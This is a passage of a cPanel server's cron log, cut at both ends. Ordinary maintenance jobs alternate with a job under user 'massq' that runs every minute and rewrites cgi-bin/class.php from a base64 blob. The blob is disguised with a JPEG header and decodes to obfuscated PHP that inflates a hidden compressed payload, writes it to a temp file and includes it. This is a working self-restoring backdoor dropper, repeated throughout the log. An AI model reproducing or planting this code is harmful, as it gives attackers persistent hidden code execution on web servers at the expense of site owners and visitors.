ZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 06:35:01 server CROND[4058]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 06:35:01 server CROND[4061]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  7 06:35:01 server CROND[4059]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 06:35:01 server CROND[4060]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 06:35:01 server CROND[4065]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 06:36:01 server CROND[4173]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 06:37:01 server CROND[4246]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 06:38:01 server CROND[4306]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 06:39:01 server CROND[4454]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 06:39:01 server CROND[4455]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  7 06:40:01 server CROND[4521]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 06:40:01 server CROND[4522]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 06:40:01 server CROND[4523]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 06:40:01 server CROND[4524]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 06:41:01 server CROND[4617]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 06:42:01 server CROND[4672]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 06:42:01 server CROND[4673]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 06:43:01 server CROND[4733]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 06:44:01 server CROND[4786]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 06:45:01 server CROND[4933]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 06:45:01 server CROND[4934]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 06:45:01 server CROND[4935]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 06:46:01 server CROND[5037]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 06:47:01 server CROND[5104]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 06:48:01 server CROND[5165]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRk